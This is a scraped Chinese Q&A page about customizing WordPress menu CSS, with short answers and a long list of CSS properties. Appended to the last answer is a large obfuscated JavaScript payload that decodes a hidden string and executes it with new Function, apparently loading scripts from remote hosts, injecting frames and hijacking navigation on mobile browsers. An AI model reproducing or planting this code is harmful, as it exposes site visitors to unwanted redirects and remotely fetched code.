如何自定义wordpress菜单css样式

2025-03-30 13:32:52
推荐回答(4个)
回答1:

1.首先找到wordpress菜单中的class类名

2.在wordpress模版目录下一般在wp-content\themes\主题名,找到style.css

3.在style.css中为类名添加样式,如下:

.menu-item:{color:red;}

这样就可以设计菜单css样式了

回答2:

参考下面方法
CSS 背景属性(Background)

background
在一个声明中设置所有的背景属性。
1

background-attachment
设置背景图像是否固定或者随着页面的其余部分滚动。
1

background-color
设置元素的背景颜色。
1

background-image
设置元素的背景图像。
1

background-position
设置背景图像的开始位置。
1

background-repeat
设置是否及如何重复背景图像。
1

CSS 边框属性(Border 和 Outline)

border
在一个声明中设置所有的边框属性。
1

border-bottom
在一个声明中设置所有的下边框属性。
1

border-bottom-color
设置下边框的颜色。
2

border-bottom-style
设置下边框的样式。
2

border-bottom-width
设置下边框的宽度。
1

border-color
设置四条边框的颜色。
1

border-left
在一个声明中设置所有的左边框属性。
1

border-left-color
设置左边框的颜色。
2

border-left-style
设置左边框的样式。
2

border-left-width
设置左边框的宽度。
1

border-right
在一个声明中设置所有的右边框属性。
1

border-right-color
设置右边框的颜色。
2

border-right-style
设置右边框的样式。
2

border-right-width
设置右边框的宽度。
1

border-style
设置四条边框的样式。
1

border-top
在一个声明中设置所有的上边框属性。
1

border-top-color
设置上边框的颜色。
2

border-top-style
设置上边框的样式。
2

border-top-width
设置上边框的宽度。
1

border-width
设置四条边框的宽度。
1

outline
在一个声明中设置所有的轮廓属性。
2

outline-color
设置轮廓的颜色。
2

outline-style
设置轮廓的样式。
2

outline-width
设置轮廓的宽度。
2

CSS 文本属性(Text)

color
设置文本的颜色。
1

direction
规定文本的方向 / 书写方向。
2

letter-spacing
设置字符间距。
1

line-height
设置行高。
1

text-align
规定文本的水平对齐方式。
1

text-decoration
规定添加到文本的装饰效果。
1

text-indent
规定文本块首行的缩进。
1

text-shadow
规定添加到文本的阴影效果。
2

text-transform
控制文本的大小写。
1

unicode-bidi
设置文本方向。
2

white-space
规定如何处理元素中的空白。
1

word-spacing
设置单词间距。
1

CSS 字体属性(Font)

font
在一个声明中设置所有字体属性。
1

font-family
规定文本的字体系列。
1

font-size
规定文本的字体尺寸。
1

font-size-adjust
为元素规定 aspect 值。
2

font-stretch
收缩或拉伸当前的字体系列。
2

font-style
规定文本的字体样式。
1

font-variant
规定是否以小型大写字母的字体显示文本。
1

font-weight
规定字体的粗细。
1

CSS 外边距属性(Margin)

margin
在一个声明中设置所有外边距属性。
1

margin-bottom
设置元素的下外边距。
1

margin-left
设置元素的左外边距。
1

margin-right
设置元素的右外边距。
1

margin-top
设置元素的上外边距。
1

CSS 内边距属性(Padding)

padding
在一个声明中设置所有内边距属性。
1

padding-bottom
设置元素的下内边距。
1

padding-left
设置元素的左内边距。
1

padding-right
设置元素的右内边距。
1

padding-top
设置元素的上内边距。
1

CSS 列表属性(List)

list-style
在一个声明中设置所有的列表属性。
1

list-style-image
将图象设置为列表项标记。
1

list-style-position
设置列表项标记的放置位置。
1

list-style-type
设置列表项标记的类型。
1

marker-offset

2

内容生成(Generated Content)

content
与 :before 以及 :after 伪元素配合使用,来插入生成内容。
2

counter-increment
递增或递减一个或多个计数器。
2

counter-reset
创建或重置一个或多个计数器。
2

quotes
设置嵌套引用的引号类型。
2

CSS 尺寸属性(Dimension)

height
设置元素高度。
1

max-height
设置元素的最大高度。
2

max-width
设置元素的最大宽度。
2

min-height
设置元素的最小高度。
2

min-width
设置元素的最小宽度。
2

width
设置元素的宽度。
1

CSS 定位属性(Positioning)

bottom
设置定位元素下外边距边界与其包含块下边界之间的偏移。
2

clear
规定元素的哪一侧不允许其他浮动元素。
1

clip
剪裁绝对定位元素。
2

cursor
规定要显示的光标的类型(形状)。
2

display
规定元素应该生成的框的类型。
1

float
规定框是否应该浮动。
1

left
设置定位元素左外边距边界与其包含块左边界之间的偏移。
2

overflow
规定当内容溢出元素框时发生的事情。
2

position
规定元素的定位类型。
2

right
设置定位元素右外边距边界与其包含块右边界之间的偏移。
2

top
设置定位元素的上外边距边界与其包含块上边界之间的偏移。
2

vertical-align
设置元素的垂直对齐方式。
1

visibility
规定元素是否可见。
2

z-index
设置元素的堆叠顺序。
2

CSS 打印属性(Print)

orphans
设置当元素内部发生分页时必须在页面底部保留的最少行数。
2

page-break-after
设置元素后的分页行为。
2

page-break-before
设置元素前的分页行为。
2

page-break-inside
设置元素内部的分页行为。
2

widows
设置当元素内部发生分页时必须在页面顶部保留的最少行数。
2

CSS 表格属性(Table)

border-collapse
规定是否合并表格边框。
2

border-spacing
规定相邻单元格边框之间的距离。
2

caption-side
规定表格标题的位置。
2

empty-cells
规定是否显示表格中的空单元格上的边框和背景。
2

table-layout
设置用于表格的布局算法。
2

CSS 伪类(Pseudo-classes)

:active
向被激活的元素添加样式。
1

:focus
向拥有键盘输入焦点的元素添加样式。
2

:hover
当鼠标悬浮在元素上方时,向元素添加样式。
1

:link
向未被访问的链接添加样式。
1

:visited
向已被访问的链接添加样式。
1

:first-child
向元素的第一个子元素添加样式。
2

:lang
向带有指定 lang 属性的元素添加样式。
2

CSS 伪元素(Pseudo elements)

:first-letter
向文本的第一个字母添加特殊样式。
1

:first-line
向文本的首行添加特殊样式。
1

:before
在元素之前添加内容。
2 :after 在元素之后添加内容。

回答3:

WP网站模板开发,自定义导航菜单怎样添加?一招帮你搞定

回答4:

外加class和id自定义自己的样式来覆盖默认样式

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();